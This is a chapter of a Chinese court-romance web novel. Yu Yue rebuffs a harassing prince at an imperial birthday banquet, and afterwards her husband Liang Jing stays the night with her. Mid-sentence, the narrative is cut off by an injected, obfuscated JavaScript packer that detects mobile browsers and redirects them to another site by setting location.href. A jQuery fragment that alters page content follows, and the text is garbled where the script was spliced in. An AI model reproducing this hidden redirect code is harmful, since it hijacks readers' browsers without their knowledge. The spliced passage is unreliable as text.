49. 第49章 放肆

作品:《皇家模范夫妻

    虞悦睁开眼循着声音的方向望去。


    这是她第一次正面和四皇子对上。他和梁璟长得几乎没有相似之处,都不大像宣文帝。他温温柔柔地笑着,笑意却不达眼底,隐约从中透出一股压不住的阴冷,让她莫名感到有些不适。


    像从阴沟中爬出来的某种恶心东西,湿湿冷冷地抓着她脚背缓缓上爬。


    什么都不缺的环境下长大的皇子,母亲贵为六宫之首的贵妃,舅父是一人之下万人之上的宰相,她以为会是个不可一世的性子。可今日一见与她的想象大相径庭,小小年纪,怎么会有这样的气质。


    “四皇子。”她感到一阵恶寒,闪避视线,淡淡地回了个半礼,没有接他的话。


    “皇嫂今日真漂亮。”四皇子的视线始终没离开她,说着,又凑近了两步。


    这话虞悦听得忍不住皱眉,往旁边撤了一步,“四皇子请自重。”


    四皇子不甚在意地轻笑一声:“一句夸奖都算逾矩?皇嫂你是不是太敏.感了点儿?”


    夸奖不算逾矩,但小叔子夸嫂子就算。


    虞悦不想在宣文帝大寿之日闹出大动静,先忍下,等着改天再教训这个不知轻重的小子,于是准备提步离开。


    没想到这家伙不识好歹,横迈出一步挡住她的去路,手没分寸地向她腰间探来。她一扭身子,喝了酒的脑子不如平时反应快,堪堪和他的手心擦过。


    今天怎么净遇到些有病的。


    她怒气瞬间被点燃,忍无可忍无需再忍,立刻反手一巴掌抽在他脸上:“放肆!”


    整日舞刀弄剑的手手劲怎么会小,四皇子的脸都被打偏到一边去了,皮肤上也泛起淡红的指印。


    他诧异地挑挑眉,捂着脸颊看向她,紧接着轻笑出声:“原来兔子急了也会咬人啊。皇嫂,你打我干嘛?我就是看你腰间有酒水的痕迹。”


    虞悦的脑子现在清醒不少,这才注意到本该有内侍经过的大殿侧面,自从她来到就再没人走动,“你怎么知道是酒水?刚刚那个不长眼的小宫女是你安排的?”


    四皇子笑得更开心了,眼底还隐隐透出兴奋:“皇嫂说什么呢,我怎么听不懂。”


    他笑得简直令人作呕,虞悦都不敢再打他了,他好像越被打被骂越兴奋,根本不能看作常人对待。


    “如果你不想在你父皇的五十岁大寿上名扬京城,就让开。”虞悦紧绷着小脸说道。


    “我什么都没做,怎么会名扬京城呢?”四皇子状作无辜,似笑非笑地看着她。


    挑衅至极。


    她深呼一口气,抬起脚,用尽最大的力气,踩在他挡路的脚上。


    空气中隐约传出“咔嚓”一声。


    四皇子脸上的笑容出现龟裂,没维持几息就彻底笑不出来了,脸色铁青,脸上肌肉不断抽搐,站在原地“嘶嘶嘶”地抱膝跳脚。


    “以后见到我放尊重点,不然……”虞悦狠狠瞪了他一眼,冷哼一声,拂袖而去。


    四皇子的额头都疼出了一阵冷汗,却笑了起来。


    有趣,原来她平时乖巧的样子都是装出来的。


    皇兄,连你都不知道吧?


    *****


    虞悦越想越气。


    四皇子已经玩阴的使手段搞了梁璟两次,均以失败告终,现在跑来特地来恶心恶心她,真是难为他闲得发慌。


    得给他找点事做了。


    荆卓君换完衣服出来,见虞悦脸色不太好,也没有站在刚刚的位置上,问道:“阿悦,你脸色怎么这么差,刚刚出什么事了吗?还是不舒服?”


    “没什么,碰见只恶心的癞蛤蟆。”


    她脸上嫌弃的表情不像有假,荆卓君咧着嘴问:“宫里竟然有癞蛤蟆?在哪呢?”


    虞悦拉住她欲往拐角处走的身子:“被我赶走了。我们稍微吹吹风就进去吧。”


    怕再遇到失心疯,她们二人只在有人经过的地方走了走。突然,荆卓君胳膊肘碰碰虞悦:“诶,你家王爷也出来了,看他的样子应是来寻你的吧?”


    虞悦望向大殿,只见门口,梁璟略带焦急地东看看西看看,看到她们后似是松了口气,迈开长腿直直向她们走来。


    “哎呦,就这么一小会儿都分不开,”荆卓君笑得一脸八卦,“我说的一点都没错吧?”


    虞悦脑海中又浮现出她那句“他喜欢你,天天像小狗一样粘着你,非得他主动说出来才能察觉到吗”。


    “诶,若是把你们写成话本子,肯定会大卖!”荆卓君兴奋道,“光是中间若即若离的情节就能多卖好多本!”


    “打住!我看过你写的那些,太……太那个了。”


    荆卓君伸长脖子去看她的表情,玩味道:“哪个?”


    两人正闹着,梁璟已来到她们面前,“荆二姑娘。”


    荆卓君识趣地站起身给他们让出空间,背对着梁璟对她挤眉弄眼:“我先回去了,你们慢慢吹风。”


    虞悦嗔她一眼,看她一溜烟儿跑走后问梁璟:“你怎么也出来了?”


    “怕你出事。”梁璟弯腰牵起她的手攥了一下,“今天风有点儿凉,你身子还没好利索,进去吧。”


    “都哪门子的事了,我现在气血很足的好不好。”虞悦无奈道。


    梁璟一只手揉搓着她的手,另一只手轻轻点了点她挺翘的鼻尖,“我问过张太医,他说恢复到你之前的气血得再过上两月。”


    一搬出张太医,虞悦就偃旗息鼓了,乖乖由他拉着回了大殿。


    期间宣文帝诗兴大发,邀在场所有人以“寿”为题作诗,一直持续到晚上,宴中所作诗词高达千首,宣文帝才被夸得尽了兴,依依不舍地结束了宴会。


    回程的马车上,虞悦双眼发木地软绵绵瘫坐一团,感觉灵魂都出窍了,累得浑身上下一点力气都没有了,滑到梁璟的身上靠着:“呜呜呜,我要累死了。”


    她很少抱怨,更是没有在外人面前示过弱,此刻实在是精神有些崩塌,忍不住开始撒娇。


    梁璟从没见过这样自然流露娇气的她,心里柔软成一片,喜欢得紧,想摸摸她的头安抚,却满头珠钗毫无下手之地,只好摸摸她的脸,“辛苦了。”


    她累得不想说话,就这样一路靠在他身上靠回了王府,下马车时也赖唧唧的不肯走,非要梁璟抱她下去。梁璟二话不说将她打横抱起,不止是抱下了马车,送佛送到西,一路把她抱进了忘忧堂。


    她乐得轻松,手臂绕在梁璟脖子上,笑盈盈地“加油加油”给他打气。


    在看着梁璟当着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14411756|144770||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她面,站在她的寝房里脱起外袍时,她笑不出来了。


    他们好像没熟到这个地步吧?


    “这是忘忧堂吧?”她迟疑半晌,问道。


    梁璟把外袍搭在衣桁上,理所当然地看了她一眼,“是啊。”


    虞悦从床上站起来,裹紧自己身上的衣服:“那你在我的寝房脱衣服是……?”


    “你说呢?”梁璟笑了笑,伸手把她拽到了他面前,紧接着,一只大手环住了她的腰。


    虞悦被吓得屏息凝神,脑子里两个小人在疯狂打架。


    黑色小人说:择日不如撞日,今日就今日。


    白色小人说:你清醒一点!一旦圆房了覆水难收啊!


    黑色小人暴打白色小人:她又不是不愿意,你情我愿之事,什么覆水难收!


    白色小人被摁在地上被打得“嗯嗯啊啊”直叫。


    虞悦:白色小人你还能再反驳一下吗?我快受不住了嘤嘤嘤,美□□人啊!


    白色小人被打晕了。


    虞悦:……


    行吧,择日不如撞日,今日就今日!


    “王府已经派重兵把守,但我还是不放心你晚上一个人,所以在齐国二皇子离开京城前,我都陪你一起睡。”梁璟垂眸看着她道。


    空气中是致命的寂静。


    虞悦刚刚红一阵白一阵的脸完全变红了,只不过不是因为害羞,而是因为尴尬,低低嗫嚅了一声:“哦……”


    把她异常的表情看在眼里的梁璟眯起眼睛,强忍笑意:“你以为是要做什么?”


    “我没以为什么啊!”虞悦像个受惊的小猫瞬间炸了毛,挣脱他的怀抱惊呼起来。


    梁璟坐到床边,中衣的领口有些松垮,长手长脚舒展开,反手撑在床上,一副任君采撷的模样:“你想对我做什么都可以,我绝不反抗。”


    被看透的虞悦羞愤地轻踢了一下他的小腿:“你再说这些乱七八糟的就回你的寿芝堂去。”


    对他留宿一事,她到没有什么太大的反应,春猎时他们也安然无恙地同床共枕了十晚呢。


    顾不上跟他闹,她把被梁璟留在外面的绣鸢叫进来,先把繁复的宫装换下,再把满头钗环卸下,捂着脸撑在桌上享受绣鸢的头皮按摩。


    “唔,绣鸢,再往右边点……”


    “这里吗?”


    醇厚的嗓音从头顶传来,她抬起头,惊讶道:“怎么是你?绣鸢呢?”


    梁璟身着已经换好的雪白里衣,修长的手指缓缓插.进她的发间,轻柔地给她按摩,“我让她先出去了,这个力道可以吗?”


    “嗯……好舒服……”在知道是他后,他指腹划过的地方都带着奇异的燥热,她忍不住喊停,“好了,不按了不按了。”


    “不是很舒服吗?”梁璟微微不解。


    “嗯……我好困,想睡觉了。”虞悦装模作样地打了个哈欠。


    梁璟去一旁灭蜡烛,被她拦住:“不用灭,我能睡着。”


    “就留一盏吧。”他嘴角微微上翘,低头关上了最后两个灭烛器。


    两人平躺在床上,与春猎时不同的是,这次梁璟在外,虞悦在里。


    安静的氛围下,虞悦翻个身面对着梁璟,开口道:“那是三年前的事了。”